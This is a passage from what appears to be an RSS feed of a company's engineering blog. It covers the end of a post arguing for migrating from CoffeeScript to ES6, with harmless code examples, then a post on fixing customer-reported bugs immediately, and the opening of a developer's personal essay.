&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.bananas &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; bananas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; superString &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      .&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/an animal/&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;a monkey&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;superString&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} and ${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;bananas&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} bananas`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bonus: ES6 classes have getters and setters.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; BananaStore&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;bananas&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;._bananas &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; bananas;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  get&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; bananas&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;._bananas.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;( &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;banana&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; banana.isRipe )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  set&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; bananas&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;bananas&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (bananas.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 100&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      throw&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `Wow ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;bananas&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} is a lot of bananas!`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;._bananas &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; bananas&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Significant white space&lt;/h3&gt;
&lt;p&gt;CoffeeScript has it; ES6 does not. I have come to the conclusion that significant white space is very bad for code readability (and thus productivity).&lt;/p&gt;
&lt;p&gt;For example, this code snippet in CoffeeScript:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;myArrayOfItems.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (item) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  newItemAttr&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; item.foo &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;then&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;foo&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; else&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;bar&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  item.attrs.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (attr) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; attr.isHeader&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      attr.set&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;        value&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; newItemAttr&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;        style&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;header&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      attr.set&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;        value&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; newItemAttr&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;        style&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;body&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    attr.updated &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that as the code grows, it becomes harder and harder to see what is on which line, and what is in which loop. Compare to the same code in ES6:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;myArrayOfItems.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;item&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; newItemAttr&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; item.foo &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;foo&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;bar&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  item.attrs.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;attr&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (attr.isHeader) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      attr.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        value: newItemAttr,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        style: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;header&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      attr.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        value: newItemAttr,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        style: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;body&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    attr.updated &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is much easier to follow in ES6, in my opinion. On top of that, the consistency of the code is considerably improved.&lt;/p&gt;
&lt;p&gt;If your team is anything like ours, you have some folks who write CoffeeScript like JavaScript (with parentheses, braces, and semicolons — even though punctuation is optional) and other folks who write CoffeeScript like python (without such punctuation). These inconsistencies create bugs, such as when you are trying to match the significant white space of an existing file and write bugs because you are not used to it. They also hurt readability and productivity because it is more difficult to comprehend inconsistent code.&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;ES6 is as good as CoffeeScript. There is nothing in CoffeeScript that you cannot express just as easily in ES6. There is no clear benefit to remaining in CoffeeScript, other than familiarity.&lt;/p&gt;
&lt;p&gt;Classes are a little more full-featured in ES6. &lt;code&gt;const&lt;/code&gt;/&lt;code&gt;let&lt;/code&gt; are nice for reducing bugs because you can catch undefined/undeclared variables at build time instead of them erroring at runtime. And they will someday provide a bit of a performance boost. In my opinion, CoffeeScript’s significant white space hurts both readability and productivity.&lt;/p&gt;
&lt;p&gt;Conversely, CoffeeScript syntax is more similar to Ruby, other than significant white space and a few other differences. And there is always a benefit to familiarity with the language you already use.&lt;/p&gt;
&lt;h2&gt;2. Tooling&lt;/h2&gt;
&lt;p&gt;Tooling is an area where I think ES6 clearly pulls ahead. Most of the CoffeeScript toolchain is aging or deprecated; ES6 tools are in much more active development and have already lapped CoffeeScript in significant functionality.&lt;/p&gt;
&lt;p&gt;CoffeeScript:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jashkenas/coffeescript&quot;&gt;CoffeeScript&lt;/a&gt; — The language/transpiler itself has some ongoing development, but it has been slow for the past few years.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/jsdf/coffee-react&quot;&gt;Coffee-React&lt;/a&gt; — Every package that I am aware of that transpiles CJSX (JSX + CoffeeScript) relies on Coffee-React under the hood, but Coffee-React has been deprecated since October 2016. CoffeeScript 2 promises to provide native JSX support, but it has not yet been released and it remains to be seen whether CoffeeScript 2 will be stable and fully compatible with existing toolchains. The &lt;a href=&quot;http://coffeescript.org/v2/#jsx&quot;&gt;official documentation&lt;/a&gt; already warns that regular &lt;code&gt;&amp;#x3C;&lt;/code&gt; and &lt;code&gt;&gt;&lt;/code&gt; operators may confuse the compiler, which strikes me as a red flag.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/clutchski/coffeelint&quot;&gt;CoffeeLint&lt;/a&gt; — CoffeeScript linter, presented for comparison with ESLint. It does not really provide any bug-catching functionality. It mostly just provides guidelines on spacing and things like that. It is fairly actively developed, but it does not support CJSX. (There is a plugin to support CJSX, but it has not been updated since 2015.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ES6:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/babel/babel&quot;&gt;Babel&lt;/a&gt; — The ES6 transpiler is under active development. They have a nice preset system for opt-in language features — the baseline configuration compiles basic ES6 and they have preset plugins for new language features as they come out (e.g. ES7 and beyond). This means your team will be able to take advantage of new functionality to improve code over time as JavaScript develops.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://babeljs.io/docs/en/babel-preset-react/&quot;&gt;Babel React preset&lt;/a&gt; — JSX in ES6 is compiled using a Babel preset (plugin). It is under active development and officially supported by Facebook, so there is no risk of losing pace with React itself.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/eslint/eslint&quot;&gt;ESLint&lt;/a&gt; (ES6 linter) — You can opt in or out of various lints, similar to how RuboCop works for Ruby, and it can be extended with plugins, such as React. It can also catch things like undefined variables that could actually be causing bugs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Direction&lt;/h2&gt;
&lt;p&gt;The front end development community has overwhelmingly chosen ES6 over CoffeeScript. To illustrate, here is a graph showing the number of downloads per week for &lt;code&gt;babel-loader&lt;/code&gt; vs. &lt;code&gt;coffee-loader&lt;/code&gt;. Presumably, everyone using ES6 with webpack is using &lt;code&gt;babel-loader&lt;/code&gt; and vice versa. I originally compared &lt;code&gt;babel&lt;/code&gt; to &lt;code&gt;coffeescript&lt;/code&gt;, which was even more overwhelming, but I decided that was an unfair comparison since they’re more of a one-time download.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0719015e2ba944f230f2dfc15b41e6b5/downloads-per-week-coffee-babel.png&quot; alt=&quot;Downloads per week, babel-loader vs. coffee-loader&quot;&gt;&lt;/p&gt;
&lt;p&gt;The image above also very much tracks with my observations — from the articles I read and new packages I see. If I were the benevolent dictator of front end development, free to crown a winner with no input from others, I likely would have chosen CoffeeScript. It was far ahead of its time and I still prefer many of its idioms to the equivalent versions borrowed by ES6. But it is clear to me that it has lost.&lt;/p&gt;
&lt;p&gt;Given that ES6 has clearly pulled ahead, there are several benefits to aligning with the larger community. First and foremost, adopting a more widely used language means you continue to benefit from supported, quality open-source projects, as partially outlined above in the “tooling” section. Major players such as Facebook have fully jumped behind ES6, meaning that tools like Babel will remain robust and innovative into the future.&lt;/p&gt;
&lt;p&gt;Second, there is an onboarding benefit. Especially if you are are hiring front end focused devs — they are much more likely to know ES6 as opposed to CoffeeScript, since ES6 has become the dominant language. So sticking with CoffeeScript becomes more and more of a tax on your new developers to learn a somewhat unfamiliar syntax.&lt;/p&gt;
&lt;p&gt;Finally, there is a recruiting benefit. I do not really have a way to prove this with data, but I firmly believe that using CoffeeScript and broadcasting it in your job postings turns away candidates, especially expert front end candidates. From my perspective, CoffeeScript positions you as an older Rails shop with some front end candy tacked on — not a cutting-edge shop using the latest front end technology.&lt;/p&gt;
&lt;h2&gt;4. Approaching the switch&lt;/h2&gt;
&lt;p&gt;How should you go about making the switch? In my opinion, the best thing to do is to transition gradually.&lt;/p&gt;
&lt;p&gt;Rewriting your entire codebase is an enormous project. It can slow down the pace of new features and create endless merge conflicts. With webpack (and even with Sprockets), it is fairly trivial to have CoffeeScript and ES6 code side-by-side in the same codebase.&lt;/p&gt;
&lt;p&gt;For our team at Aha!, we decided to start with decreeing that all new development should happen in ES6, and continue by converting existing CoffeeScript code as it is convenient, such as when the file is modified or when there’s momentum to do so.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.npmjs.com/package/depercolator&quot;&gt;Depercolator&lt;/a&gt; is a great tool that we have used with a lot of success. It fully converts both CoffeeScript and CJSX, and it outputs code that ESLint is happy with so you get to start with a clean build. Once your CoffeeScript is gone, you can quietly disable the CoffeeScript portions of your configuration and enjoy your new codebase.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;As outlined in this post, ES6 offers a number of advantages and a much more robust toolchain and community. At Aha!, we’re very happy with our choice to move to ES6. We are confident that it will allow us to keep delivering quality front end components and features to our customers for years to come.&lt;/p&gt;
&lt;p&gt;I hope that this post helps your team navigate your own transition. Or maybe you want to help us write beautiful front end code in ES6 and React? &lt;a href=&quot;/company/careers&quot;&gt;We are always hiring&lt;/a&gt; skilled front end and Rails developers.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Smash More Bugs]]></title><description><![CDATA[Drop everything. This is what our team does when a bug is found. Recently, a customer reported an issue in a new feature that had just gone…]]></description><link>https://www.aha.io/engineering/articles/smash-more-bugs</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/smash-more-bugs</guid><dc:creator><![CDATA[Chris Waters]]></dc:creator><pubDate>Tue, 06 Jun 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Drop everything. This is what our team does when a bug is found. Recently, a customer reported an issue in a &lt;a href=&quot;/product/features&quot;&gt;new feature&lt;/a&gt; that had just gone live. We quickly identified the problem, fixed it, and sent an apology and an update to the customer. This was all within an hour. They replied, &lt;em&gt;&quot;When you fix sh*t that fast, there is no need to apologize.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For us, there is no such thing as a &quot;trivial&quot; bug. When a customer reports a problem, we drop everything to fix it immediately.&lt;/p&gt;
&lt;p&gt;This is not &lt;a href=&quot;/blog/how-engineering-teams-work&quot;&gt;typical behavior&lt;/a&gt; for a software engineering team. Most development teams capture bug reports, file them, and fix when the schedule allows. But that only introduces more issues. Because even though the bug is on the team’s radar, it is still out there in the world — irritating every customer who comes across it.&lt;/p&gt;
&lt;p&gt;That is why we take a different approach — one that is driven by interruptions. It is part of a set of principles we pioneered and named &lt;a href=&quot;/company/the-responsive-method&quot;&gt;The Responsive Method&lt;/a&gt; (TRM). This approach is centered around the belief that interactions with urgency move people and organizations forward.&lt;/p&gt;
&lt;p&gt;If you are an engineer, you might find this concerning. Could this negatively impact production? The answer is &quot;no&quot; — interruptions are not addressed arbitrarily. Instead, we operate with an escalation tag team made up of a different set of engineers responsible for the interruptions each week. So, we consider who is on deck for escalations when we are planning feature development since we know that productivity on core development will be impacted.&lt;/p&gt;
&lt;p&gt;If you are up that week, you know that your time will be punctuated by interruptions and can plan accordingly. It can actually be a refreshing change of pace to spend a week interacting directly with customers and working on solving issues.&lt;/p&gt;
&lt;p&gt;So why do we go to such lengths to smash bugs immediately? We do it because it helps us:&lt;/p&gt;
&lt;h2&gt;Avoid technical debt&lt;/h2&gt;
&lt;p&gt;Technical debt occurs when we delay fixing problems for so long that it becomes impossible (or prohibitively expensive) to catch up. Fixing one small issue may only take 10 minutes, but facing a backlog of hundreds of small bugs can take hours or even days. An overwhelming list of small items turns into a psychological barrier to getting started. And so the bugs and debt keep piling up.&lt;/p&gt;
&lt;h2&gt;Solve unreported problems&lt;/h2&gt;
&lt;p&gt;If one customer is reporting a problem, we can only assume there are dozens more who did not report it. In fact, studies say that for every customer who bothers to complain, 26 other customers &lt;a href=&quot;https://www.helpscout.com/75-customer-service-facts-quotes-statistics/&quot;&gt;remain silent&lt;/a&gt;. So when customers speak out, we take action. If we did not address these reported problems immediately, who knows how many more users would stumble across them?&lt;/p&gt;
&lt;h2&gt;Reproduce problems&lt;/h2&gt;
&lt;p&gt;By tackling it immediately, we vastly improve our chances of reproducing the problem quickly — thus solving it quickly. But if we were to let a bug linger for weeks, it would be much tougher to reproduce it by the time we got around to working on it. We may not even be able to reproduce it at all. And we would never know if the problem went away because of code and data changes, or if we simply did not work out the correct sequence of actions to reproduce it.&lt;/p&gt;
&lt;h2&gt;Move everyone forward&lt;/h2&gt;
&lt;p&gt;As bugs pile up, so does the Customer Success team’s work. Over time, they will spend more time recognizing known problems than helping customers get ahead. Even worse, the same problem may end up being diagnosed multiple times and escalated multiple times. This is a huge waste of effort. But if we can fix the problem the first time we see it and get the fix deployed quickly, then we can avoid a huge amount of wasted time for everyone. This helps our &lt;a href=&quot;/blog/5-daily-habits-of-happy-saas-customer-success-teams&quot;&gt;Customer Success team&lt;/a&gt; move forward as well as our customers.&lt;/p&gt;
&lt;p&gt;What happens to a bug that you see, but ignore? They buzz and multiply. And so does your customers’ frustration.&lt;/p&gt;
&lt;p&gt;The only way to avoid this is to smash them immediately. Timely fixes will not go unnoticed, either. Customers base a great deal of their views of your company on how well you respond to trouble.&lt;/p&gt;
&lt;p&gt;So, take quick action when you see trouble arise. This will not only earn customer love and loyalty, but it will also make your entire team more efficient and improve your product.&lt;/p&gt;
&lt;p&gt;How does your company handle bug fixes?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[This Developer Finds Joy in the Mundane]]></title><description><![CDATA[I love fast food. It started as a teenager when I worked at McDonald’s in New Zealand. There were only a few locations back then and we were…]]></description><link>https://www.aha.io/engineering/articles/developer-finds-joy-mundane</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/developer-finds-joy-mundane</guid><dc:creator><![CDATA[Chris Waters]]></dc:creator><pubDate>Tue, 28 Feb 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I love fast food. It started as a teenager when I worked at McDonald’s in New Zealand. There were only a few locations back then and we were amazingly busy, with lines usually out the door at lunchtime. We made Big Macs as fast as we could — 12 at a time. Sure, the work itself was a little mundane. But it was strangely (and rewardingly) competitive.&lt;/p&gt;
